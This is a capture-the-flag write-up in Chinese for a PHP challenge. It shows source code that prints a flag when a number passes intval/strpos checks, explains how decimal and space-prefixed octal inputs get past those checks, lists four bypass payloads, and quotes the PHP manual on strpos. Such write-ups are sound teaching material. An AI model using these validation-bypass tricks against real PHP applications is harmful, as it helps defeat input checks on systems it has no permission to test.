0x01 源码
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
在Web93的基础上,屏蔽了开头为0的数字,因此不能使用进制转换来绕过,但是可以使用小数点操作。
传入num=’4476.0’,strpos(“4476.0”,”0”)返回int:5,前面加上!则if接收到的是boolean:false。
或者在使用八进制时,在前面加个空格,这样strpos()会返回1。
还可以在前面加上%20空格,从而绕过strpos的检测
0x02 Payload
?num=4476.0
?num= 010574
?num=+010574
?num=%20010574
0x03 PHP函数
1. strpos
strpos — 查找字符串首次出现的位置
strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int
返回 needle 在 haystack 中首次出现的数字位置。
参数
haystack
在该字符串中进行查找。needle
如果 needle
不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。offset
如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。
返回值
返回 needle 存在于 haystack
字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。
如果没找到 needle,将返回 **FALSE**
。